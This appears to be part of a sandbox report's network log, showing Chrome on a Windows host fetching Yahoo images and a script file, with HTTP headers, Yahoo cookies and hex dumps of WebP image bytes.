2024-04-27 22:41:48 UTC	1295	IN	HTTP/1.1 200 OK Content-Length: 66824 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 211421643456159671766120932597905203798,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="3d089b898ea7ad8da5d544de2d15a0d8.webp" Edge-Cache-Tag: 211421643456159671766120932597905203798,506573680972586326961225611793831006275,ae7a14591aaf8d474cdb3f92111c923e Etag: "b55e47e6d7fb31ff7f052b6c533cec73" Last-Modified: Sat, 27 Apr 2024 17:50:40 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=560,height=272,bytes=66824,owidth=960,oheight=540,obytes=136815,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: e90cc0c0c0123b8b95d67473b1d0dd8b Accept-Ranges: bytes Date: Sat, 27 Apr 2024 20:22:51 GMT X-Served-By: cache-iad-kiad7000041-IAD X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1714249371.163099,VS0,VE2 Age: 8337 Strict-Transport-Security: max-age=31536000 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-04-27 22:41:48 UTC	58	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 52 49 46 46 00 05 01 00 57 45 42 50 56 50 38 20 f4 04 01 00 10 38 02 9d 01 2a 30 02 10 01 3e 1d 0c 84 41 a1 06 1e 97 92 04 00 71 2c a0 17 67 64 f2 27 f0 0f 91 f2 2c e6 7e f7 be e5 f8 4f 5a ff ef 72 dd f0 9f f6 7c 9a 3d ab fb 1f fb ff 9b bf e9 3e 63 7f b2 fd bb f7 41 fd 2b fd 17 ff 0f 70 5f d6 bf f7 5f e7 bf 72 bf ce fc f6 ff cb eb 53 fb ef fe 1f 54 5f d5 bf dd fe de 7b c5 fa 78 ff 1b ea 55 fd 93 fd 27 fe 8e c7 ff fc 1e a2 ff b9 de af 3f fd 3f 74 3e 22 7f b2 7f e0 fd c3 f6 9c ff bb d9 f1 a4 cb bc 5f c4 7e 4f f9 87 f8 cf c9 ff 6e fe cd fe 1f fd d7 f7 1f 8c ef 9e 7f df ff 17 de 8b d0 3f 78 ff 67 fe 2f d4 1f e4 7f 71 7f 55 fd d3 fc ef fe 2f f1 df ba df 08 ff aa fe f7 fe 8f ff 47 f9 5f 43 7f 22 fd 3b fd 0f f7 df f2 7f f8 ff c7 7c 82 fe 33 fc bf fc 27 f6 bf f1 Data Ascii: RIFFWEBPVP8 8*0>Aq,gd',~OZr\|=>cA+p__rST_{xU'??t>"_~On?xg/qU/G_C";\|3'
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 72 d6 00 4b c8 cf 9f 03 52 5c 35 1b 91 51 76 4d ed aa e2 fd dc 37 fd b0 a9 bc 45 74 6d 14 2e 56 72 77 e7 79 2a 38 b1 88 8a bf 7d dc ec ef c5 1f 0d af 1d 2c e9 91 23 3d 7e a8 0a b1 a7 83 b6 10 9b 95 b2 b3 fa 91 98 48 5a 73 5d f9 65 32 82 bb 2c 30 c9 37 ff dc a4 0a e5 b1 a0 d7 ee 6b ee df 19 37 2d 70 3b f1 23 e2 fd 3b 3c 25 73 b2 94 db 7b ac 03 f9 bf 6b d8 5b 04 cb 82 4e 46 7d df 57 cf 67 45 ab 50 d3 d7 44 b1 57 2b 17 b9 4d 40 fa f8 d6 9d b9 9d f3 f3 f3 5e 4c 1d ee 06 44 a5 43 8a 41 fc bb df 15 02 57 7b 91 ef 13 6c 26 79 3d 2b 19 7c ae 11 b6 89 26 81 a0 15 b0 5b 0f 85 da 35 f9 ed 46 a2 cd 3a 40 b1 49 0c 85 88 74 13 d7 66 27 1e 5c 9f 83 ee 3f 3f c8 ff 79 8c 6d 51 ad ee db 34 57 11 2d ee a2 4d 93 1c e6 84 31 b1 75 de 39 ee 64 58 3e ce 7a 56 b3 a2 ac fb d7 63 Data Ascii: rKR\5QvM7Etm.Vrwy*8},#=~HZs]e2,07k7-p;#;<%s{k[NF}WgEPDW+M@^LDCAW{l&y=+\|&[5F:@Itf'\??ymQ4W-M1u9dX>zVc
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 42 36 c3 87 5b 51 07 07 53 23 df ea f5 65 6c 93 3f 23 be 75 59 a3 b8 df 71 82 b2 3b de 7e 65 29 1b 79 e4 e1 4c 75 44 dd f3 57 c5 d6 74 7d ef a8 3c fc fe 26 08 ae 99 5a be 34 ba 00 e7 90 89 8d 0c 18 f7 c1 29 c2 d8 a8 67 7c 51 7a 82 55 3c 5b 2d cf ec a6 cb 2c e4 85 50 ad 74 cc fa ac bf 25 d0 e5 59 54 95 0e 07 c2 c1 a2 93 5f 45 39 12 db 0a a8 28 23 57 26 8f bd 86 c6 cd de f3 a9 41 da 2a e5 33 c2 47 88 3c cc 8e b4 f5 a4 75 f9 38 9e 3f 93 c6 a3 42 38 de 89 87 72 32 cb 50 27 2a c5 40 98 59 b7 d1 d5 ac 6e 9d 67 a6 87 35 9c be b2 e8 aa 84 d4 c2 30 4a be 26 51 dd a2 6f 80 2e b9 82 e1 fd b4 77 c2 a7 e4 17 59 1f 4f 0a 07 76 d0 59 12 2f bb 21 d0 cc b9 0f 41 b9 5a 2f 16 22 fb bb 3a 87 fd 3f 7e 9f 5e 99 75 05 2b ca 8d b9 e1 49 bb e2 15 42 e2 fa dc 19 1a 73 df 18 a2 29 Data Ascii: B6[QS#el?#uYq;~e)yLuDWt}<&Z4)g\|QzU<[-,Pt%YT_E9(#W&A3G<u8?B8r2P'@Yng50J&Qo.wYOvY/!AZ/":?~^u+IBs)
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: de 45 fb 77 05 62 ed 75 db f4 f7 cb af 3d 98 50 85 63 ea 7e 42 82 12 95 84 c5 8e a9 bf ad f5 bb 08 5c f6 af 7d 50 eb 2b ab 67 8c 32 ec e4 ba 75 17 eb c7 e5 7c 77 63 ed 46 27 c4 97 0c 9a de ed c6 c9 2a 51 db 15 53 9b 21 1b fc a1 b2 5b 15 6f 41 6c 4a 37 30 b2 7e 94 cd 9d b5 fb ad 9f 2b fd 83 fb 25 d8 b5 b8 58 e6 4b 3f 99 7d a1 b9 cc 42 e5 a2 9e 0e de 9e 3f db 86 7b 61 fd 8e 30 68 ec 67 18 e3 00 0b 07 61 d7 44 9d 74 25 50 ee 78 e4 44 21 74 f3 14 af 4b cb e1 b9 5c 18 03 1c 4c 50 d8 e9 f8 c6 b6 7a b9 4c 27 22 70 90 99 02 cb 3f a0 54 d2 2a e5 f5 3b 27 11 d7 83 74 4a 79 1a af fb 59 1b d9 12 b4 f3 80 a3 da f6 ab df f4 55 61 1c 38 c4 15 02 58 18 41 60 f4 e1 6a be e4 58 38 16 b6 a2 69 88 df 1d 7d 64 03 b0 20 ea a4 5b e1 cd f1 de ff 11 91 48 a7 38 31 7b cf 67 15 21 Data Ascii: Ewbu=Pc~B\}P+g2u\|wcF'QS![oAlJ70~+%XK?}B?{a0hgaDt%PxD!tK\LPzL'"p?T;'tJyYUa8XA`jX8i}d [H81{g!
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: d5 e9 bc 73 c6 59 40 10 41 35 ad 12 df f3 93 43 6d e3 0e 67 c9 15 19 eb a7 e0 71 10 7e f8 bf 22 6e 46 5d c9 be 8d f6 74 af df 02 2a c5 83 16 e3 85 c6 65 bd e1 7a c9 4c d0 d1 a3 55 03 fa 48 50 b4 a1 da 56 05 7c 29 35 10 45 ba 0c e3 c6 d1 03 00 03 9b f8 71 f8 7a 47 f8 0b ca a4 5f 65 e2 f4 64 82 ab 52 09 05 4e cf d5 86 d2 02 6a 79 72 30 b3 c6 83 dc ac d5 a6 bb c1 aa ce 09 f7 d9 7e 41 11 50 67 99 87 df e0 a5 d1 c2 b9 10 d7 e1 81 a6 e0 a0 73 5e f1 f2 5c c6 c9 fa dd 46 94 54 f9 6a d2 2e d0 0a 7f 8d 30 51 ff 2c 88 75 2d c8 1a 7d 93 cb 66 5e f2 3e 2c c9 70 27 dd a3 5e 45 4f df b3 8a 91 e0 79 4e dd 08 da f2 17 a2 27 d7 fb 19 e8 0a 93 81 bc 60 2a 39 28 35 03 d1 27 64 1e e6 14 ab 7c 21 b0 2d 83 e1 e2 ac fe 17 16 59 f9 95 c1 ea 73 15 c4 4f 2d a7 74 ed 38 6f 81 9f d3 Data Ascii: sY@A5Cmgq~"nF]tezLUHPV\|)5EqzG_edRNjyr0~APgs^\FTj.0Q,u-}f^>,p'^EOyN'`9(5'd\|!-YsO-t8o
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 06 9e a8 60 6f e1 9b b8 86 58 17 e1 10 34 99 34 0e ef f3 af b3 33 c3 02 a6 62 e7 60 23 f3 cb 12 e7 5c f9 1f d6 03 4f 24 0f 83 70 69 fe 19 95 d3 87 93 8f 34 a5 c4 bd 23 7b b9 c9 17 4e 32 ea 5c 4b d4 a3 ee 70 d8 d9 4e 80 2a 13 c9 2d d0 63 4f a6 e0 ca 1e 7f 31 eb a8 c7 b1 a0 7b 1c cb f6 55 2d 09 82 88 07 2b eb 1d 05 79 23 82 e0 53 62 b1 62 e3 05 e4 5e ff 9f c4 a4 0a 10 a5 7c 13 d6 2b 5c 1d 25 8c 3a df 2f 9d b0 91 24 4b 3c f7 3d 12 41 d8 3e 9a 7f 4e 4b 33 cc 4d 2a 47 ee 74 08 69 69 5c 23 c3 c5 1a 36 bf 46 a9 e3 9e 35 9e b4 bc 72 28 ce 10 62 71 64 73 df 78 e5 fd 4c c2 29 52 27 9f e9 82 22 a5 09 45 6a 46 22 cc 61 f9 77 f3 91 bb 4d e6 c1 7c 8e 9f 24 95 a4 e4 d5 fb 68 5d 83 29 67 24 3c 60 ac 94 98 8c 39 a1 c0 65 85 80 c5 0e 83 e3 2d db 61 e7 23 ea 78 2a 14 4b 84 Data Ascii: `oX443b`#\O$pi4#{N2\KpN-cO1{U-+y#Sbb^\|+\%:/$K<=A>NK3MGtii\#6F5r(bqdsxL)R'"EjF"awM\|$h])g$<`9e-a#x*K
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 1c 1a 68 2e 61 af 7f ad 25 c2 07 d0 0b a2 31 00 f1 d2 ad 29 eb 8e 98 1a f3 b2 ba 78 f8 5a ca 24 df c4 77 2a 9b 8a d4 89 73 c7 d5 54 f2 5a d6 88 fc b9 49 0a 84 70 90 a9 6f 28 2b 92 af f3 27 81 35 3a 4d b3 4e cc dc cc 32 69 6a 1d 1c 2a 23 4d c4 7f e5 0a ee d9 cb 13 2d 64 20 6a ae 07 f6 cc 70 61 f1 cf e2 84 69 18 c9 fa 09 d3 fe ed cb 69 72 48 58 64 d0 7c 1a f0 f4 9b 6c 1d 26 52 54 a0 5c 42 3a 0e d9 57 93 e6 e0 19 b7 fa 46 99 f1 5c 30 f0 78 5f bf 8e 05 ba bd 9e 78 9e 7f 87 da 39 5f 11 77 2f 81 24 78 c7 9d 8d 77 97 18 ce 89 eb a3 8e 4f 73 9b 07 78 d6 1a 28 89 32 c7 1a e2 98 02 eb 5d 90 c9 4a cf 69 28 8b 92 a6 a3 39 07 59 01 47 1e a3 b9 ac fc b5 2e 46 ea 8f eb bc 1c 25 fc a0 ca 6d ec e3 7b 3e 4e f0 08 c9 35 85 53 98 e9 36 a6 09 23 4a 5c 57 d2 0f 93 a4 ea f4 51 Data Ascii: h.a%1)xZ$wsTZIpo(+'5:MN2ij#M-d jpaiirHXd\|l&RT\B:WF\0x_x9_w/$xwOsx(2]Ji(9YG.F%m{>N5S6#J\WQ
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 5a 30 40 74 1a 5f 07 05 e4 e9 11 fa 3d cf f9 7f 15 de 96 c0 fc 8f 8f de 50 94 55 a6 e7 42 74 8f 0e 1d f0 f4 80 b9 12 c7 3e 33 dd 70 b0 73 c1 8a aa 5c e6 8c 95 7d dd da b9 69 08 d4 6f dd 70 b3 1e 9c 7c 10 82 36 a5 bd 62 c9 69 7e 20 45 28 e3 33 f7 3f 51 26 8c 6e 1e a0 2e bf af 06 4e 30 21 1c 97 1a 45 bf 0c 4c 62 1f dd 88 bf 27 64 13 50 44 7d f5 c0 e0 fb f5 43 25 f1 c7 6a 18 28 25 a4 f5 dc 8b ae 32 ce b1 75 f9 a4 2f ee b7 ee 6b d5 18 d1 07 73 e5 1e 6e e0 67 39 b2 cd f8 14 5f 8a c7 ac 20 85 79 28 fc 26 06 ae d2 d2 54 d3 06 db 3a a7 7d 30 6c 82 06 bd de 65 40 1a 87 6a bb fe 27 2b c9 be 1a 9f ac 60 c9 f9 9a 7e 6e 1f f2 50 67 95 f1 63 29 90 2f 04 02 5f ae 75 4e a8 8d c4 dc 23 fb 73 56 7a 13 af 92 9c b1 a7 30 52 0e c4 9b 2f 10 20 31 3a 4e 96 de 83 80 49 8b 1a a0 Data Ascii: Z0@t_=PUBt>3ps\}iop\|6bi~ E(3?Q&n.N0!ELb'dPD}C%j(%2u/ksng9_ y(&T:}0le@j'+`~nPgc)/_uN#sVz0R/ 1:NI
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 5b 7e f7 c2 c7 1c 51 da 51 3d 81 85 7d 03 da a9 ba 74 0a 84 18 b4 0f bc e5 41 d9 e2 c4 e5 cc 74 87 b4 5c 49 35 0c b4 d4 76 73 40 34 62 de 46 63 db 98 39 0e 8a 05 11 fe 11 ab ca c7 e5 47 95 ef f3 72 8d ff 2c 98 06 1f 38 75 c4 b5 f8 93 83 e3 4d db 7c 11 35 5c d6 a8 31 e5 45 9a 36 3d 73 48 92 d1 7c bb 8e 83 ab fd 6f 62 f0 fe d5 06 02 1f b8 f4 c6 43 8e a0 24 be 0d 84 bb ca 1e 12 25 01 3a 57 7b f0 74 ff 82 ad 3b a4 51 e8 10 23 f6 55 ed 96 31 8f fd 86 2b 12 74 b2 16 d5 3f 10 38 d1 60 5c a6 a2 39 de 6d 2c 75 41 4e fb 82 a2 5d ff e9 03 b8 b9 ab 82 e1 45 8c e6 0f de f9 e9 d9 84 b4 ef d6 f5 3f 9f 74 82 1f 9e ee d0 1a e8 3e 83 0c 22 6f e2 ef 0c d0 86 eb e8 32 e7 6a 9a d8 cb 3d 79 29 b5 13 27 35 f5 e5 1c 85 e3 3c 55 e7 89 98 c0 71 a1 1c ce ba ee 76 0a e0 6e ab 09 8a Data Ascii: [~QQ=}tAt\I5vs@4bFc9Gr,8uM\|5\1E6=sH\|obC$%:W{t;Q#U1+t?8`\9m,uAN]E?t>"o2j=y)'5<Uqvn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49789	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	763	OUT	GET /uu/api/res/1.2/PJdo7utph8z9acJAz2ZC0g--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-04/582532c0-04d6-11ef-bc7b-7987492849bc.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	1287	IN	HTTP/1.1 200 OK Content-Length: 6692 Content-Type: image/webp Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 393244538197557362254681312048800542341,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="582532c0-04d6-11ef-bc7b-7987492849bc.webp" Edge-Cache-Tag: 393244538197557362254681312048800542341,511190016196229211914731540151831200915,ae7a14591aaf8d474cdb3f92111c923e Etag: "a795f0110162c84e852792f23f4bef57" Last-Modified: Sat, 27 Apr 2024 20:40:15 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=356,height=180,bytes=6692,owidth=3035,oheight=1708,obytes=461901,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: 65479253df9a3001249d32c4ea37de0d Accept-Ranges: bytes Date: Sat, 27 Apr 2024 21:03:21 GMT X-Served-By: cache-iad-kjyo7100163-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1714251800.076928,VS0,VE973 Age: 5910 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_id: 65479253df9a3001249d32c4ea37de0d cld_by: cache-iad-kjyo7100163-IAD cld_latency: 973 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	220	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 52 49 46 46 1c 1a 00 00 57 45 42 50 56 50 38 20 10 1a 00 00 d0 91 00 9d 01 2a 64 01 b4 00 3e 79 36 96 47 a4 a3 22 a7 2a 94 3b 88 e0 0f 09 63 6c 89 c8 3b f5 fd 3b bd 1c 91 cc 60 63 86 39 ec 70 6b bc 78 af c8 0f 01 52 83 ef bf 2e 7a b3 7c 9e 57 0f e9 7c cf 4e 1f a3 fd 81 ba 0a 79 8c fd 95 f5 80 fc 55 f8 03 fe ef d2 03 aa bb d0 03 a6 1b cb 0a b3 5f 58 73 b5 c2 dd aa 76 49 ed ef 80 bc 12 dd 06 a0 b2 ea 47 97 f0 ad 1d 7e 61 62 67 0d 50 7f 40 12 33 54 0b 19 ee a0 47 80 37 cb 0a 82 c2 e1 72 18 24 df b7 c0 1a 69 53 44 13 f3 4b 35 54 f8 e1 c5 11 71 10 60 d5 88 ff 30 30 31 7a 99 3f 06 b8 da e7 0f 92 4f c5 8c 9a d6 e3 5d 60 dd a5 e3 64 39 ed 73 35 3d 8d 72 92 97 ab 08 7b 55 03 63 2a 59 82 c5 eb a5 ff c2 35 08 8f cc bb 71 e4 b8 7e 6b f7 a7 f9 52 f2 cb 35 6b d2 7b 98 Data Ascii: RIFFWEBPVP8 d>y6G";cl;;`c9pkxR.z\|W\|NyU_XsvIG~abgP@3TG7r$iSDK5Tq`001z?O]`d9s5=r{Uc*Y5q~kR5k{
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: a5 e3 bf 07 4a 0f f8 c4 dc 7e 93 ad 8f ff 19 6f 13 d2 b7 98 ac 9a 59 b4 68 85 c9 11 9d de 40 d6 7c 6f 23 f3 60 8d be ee 6a 10 00 cb f4 7c 27 fa 18 8a a1 7c 38 bc 7d fe df e5 81 bb f7 bf f0 b8 9f e3 49 4a a8 e8 bb f4 6d fc 82 7f 7f fe 4e db 12 d9 83 15 71 38 ad 1e b2 9c 3c d5 4e fd 23 4d 58 e4 f0 67 09 36 1d 17 fd 0b 46 4f e9 39 d7 5e 93 27 3b 26 aa 14 25 b1 8b 4f 8c 61 ed 5e f6 45 9f fc a1 3e 69 c4 5a 70 bb 03 b3 25 ce e3 e5 cd aa 0a f6 a6 6e df 7d 60 48 34 45 6c 58 5f 3a ba 9b 62 8b bd 92 5b 6e 60 8f 33 e8 20 2c 40 63 62 84 b1 ad 95 ce 63 f9 77 5e 55 e0 b7 7a 1e fb 95 74 3c da 73 50 dc e9 98 18 cd e2 c5 f7 76 29 6f 74 e9 22 b2 19 46 95 42 5c 25 af 7f 3b de ef 73 e1 ab 72 94 17 b3 58 ca 5d 6c 2d 0c 76 a6 70 f0 05 a4 19 aa cf 72 db 22 65 5b ce 7c 72 6f a7 Data Ascii: J~oYh@\|o#`j\|'\|8}IJmNq8<N#MXg6FO9^';&%Oa^E>iZp%n}`H4ElX_:b[n`3 ,@cbcw^Uzt<sPv)ot"FB\%;srX]l-vpr"e[\|ro
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 08 62 ec 6f 38 83 c4 fe a8 02 3a 5d cf d5 06 1e 1c 17 ed d5 b9 7f a9 cc 1b 0a 7e ed 63 8e 6d 43 a6 51 2e d7 af 4f 9a 51 54 8e 43 bb bb 6d 5c 2d 98 5e 63 58 5c bf 42 67 06 f3 95 4d a2 54 b9 c3 c6 f2 5a f7 72 1e 2f b2 b3 02 55 53 09 dd b9 37 4a 25 60 a4 8e 97 7b 4c 66 e1 79 8d 85 f3 4a 21 e2 c6 6c 23 65 bf a7 66 1e 1b 58 21 7c 3a 71 bf 00 26 a1 27 f1 3d ee d9 b9 93 4d d0 c3 95 a7 7d 25 f1 ed fa 85 0e be 4c 1d 4b 98 71 65 de e0 e7 57 cc 73 6b 52 e4 e5 ac 09 a7 4f 4f a1 dd 4e e2 b5 d2 2e 7f b8 df e0 9f 25 3e 53 90 39 2c 11 1d 63 a3 94 6f b6 b1 20 47 9e d2 f0 22 ab 54 b0 91 07 29 43 68 37 e0 d0 f1 86 1d 14 d9 dc 4c a8 6d 99 2b fb e7 80 ba c3 b8 51 4d 1a 00 b5 20 82 c1 ee 4f 56 d1 e4 87 0c 1f f9 9b d2 a0 3c d6 84 f8 03 45 73 ba d4 af 0f b2 41 66 b1 83 1d 3c 0e Data Ascii: bo8:]~cmCQ.OQTCm\-^cX\BgMTZr/US7J%`{LfyJ!l#efX!\|:q&'=M}%LKqeWskROON.%>S9,co G"T)Ch7Lm+QM OV<EsAf<
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 7c d0 0c d9 7f df ac fe e8 fa 54 73 f0 84 e7 4f 41 4d de 07 ee 65 88 84 53 c6 76 c0 d4 e5 03 9f 97 c1 67 bf f3 a3 9d 57 57 ca ad d9 12 41 ab f3 fb 46 79 8b 8b 22 1d 2f 26 8f 5a a2 74 ba 1b f7 95 9a 10 45 a8 be 18 65 e7 7e c1 fe b7 bc a6 5a c4 c9 33 cb c3 f9 5a c1 0c ab a9 c5 bb b7 25 da b4 9a 63 70 c9 9f a4 d1 ea 46 54 82 a9 a7 24 f6 63 ba 7d 34 0e 92 8b 60 e5 b4 44 d3 92 45 0e c8 35 42 46 f9 b2 c4 85 96 fd c1 5d f1 70 0d 58 93 1c 1f ad 4c c8 0b 94 63 b4 2c c6 d4 e4 b0 a1 64 41 00 4f 78 fb 0d b5 cb 65 25 e8 31 0a a6 a9 e4 e1 bb aa af f0 fe 89 c9 26 3b c6 5f 1d a1 56 ac 33 21 9c a9 f7 90 70 6f 5a 52 b2 70 c8 fd f7 c2 51 f1 70 17 35 e2 6d e2 ed 75 f2 5e f3 20 65 c7 29 51 9b 5f 9a 3b 41 52 1a 78 75 07 4d 80 28 09 be 10 6b c7 2c bb c8 b4 f5 2c bf fe 55 38 f1 Data Ascii: \|TsOAMeSvgWWAFy"/&ZtEe~Z3Z%cpFT$c}4`DE5BF]pXLc,dAOxe%1&;_V3!poZRpQp5mu^ e)Q_;ARxuM(k,,U8
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: c4 49 bf cd 7f 8e d5 e3 11 d6 f9 f8 c6 29 61 9b 0d d7 79 ae 5c 88 0b a0 8a 57 89 4b 47 d2 0f a0 9a ae 86 01 25 d1 32 38 35 c9 fd cf 94 29 02 5c 81 4f 2d 58 16 5e e9 c6 5d 91 ff b6 40 60 a4 13 b2 f7 17 94 4a 53 35 3d 2a f2 be 6e 00 c5 ca 0a 00 2a 39 ae db 70 d8 36 3d 84 da 02 ff 59 4e 31 90 d9 e4 81 aa 72 8f c2 bf 74 44 0c e5 1b 46 b0 25 0a 74 2a cd 5c 36 a9 51 5b 93 1e e3 04 ea 8e 81 db 70 29 f8 94 69 92 28 56 6e 97 ec 94 ea b7 e6 b7 33 8e ec 15 0b 19 c5 cc ad dd b9 0e c0 6d 28 11 02 3e 7c b6 81 71 0b 41 59 af ca 09 f8 45 46 94 24 a6 7d 25 f0 6a 5a ae fd d7 9f 59 41 52 bb 8f a5 3a 48 2f e9 22 10 81 0a e4 ca 77 a8 51 c2 33 db 89 f3 8d 8b ec b8 f2 fb 5e 22 a6 cd 04 e8 9e 4e b4 12 10 5c 4e b4 9b d1 df 85 47 46 2d 33 ca 79 22 12 12 a1 c1 b2 1e 87 9b d3 f5 45 Data Ascii: I)ay\WKG%285)\O-X^]@`JS5=n9p6=YN1rtDF%t*\6Q[p)i(Vn3m(>\|qAYEF$}%jZYAR:H/"wQ3^"N\NGF-3y"E
2024-04-27 22:41:48 UTC	192	IN	Data Raw: 02 26 e0 8e f8 54 41 11 96 81 49 1c 1e 8a c9 8d e1 7e cc 20 16 36 48 55 08 65 b0 f5 98 63 93 e2 46 f5 ff b0 5f 97 2e 44 ba ea 60 ac a0 93 6d ba 39 cb b6 a5 bf d8 e4 74 94 f9 19 9d e3 78 54 e7 19 de 37 46 78 99 46 32 4d 79 e9 6c 5e b6 1d b4 12 5f 32 98 f2 b4 89 ef 81 ad 26 ad 63 b6 84 6f 52 e4 c1 62 a0 a9 47 14 de 36 50 00 7f 5b 4b 1c 83 28 24 ea 13 19 9d 45 f1 18 8d 45 f0 0f 15 f1 6f d6 9b fb d4 ef 7f e2 a3 48 d3 55 dd 2b 82 78 ae 6c 6e ca 64 7b 5c f7 ca e9 84 24 e5 54 b8 56 00 2f 46 8f e2 d3 39 55 3c 7d b1 8b 47 9a d1 d4 00 1c b1 34 64 9f 97 50 2a c6 79 1b 85 ab e0 00 Data Ascii: &TAI~ 6HUecF_.D`m9txT7FxF2Myl^_2&coRbG6P[K($EEoHU+xlnd{\$TV/F9U<}G4dP*y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49794	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	847	OUT	GET /ybar/cerebro_min.js HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
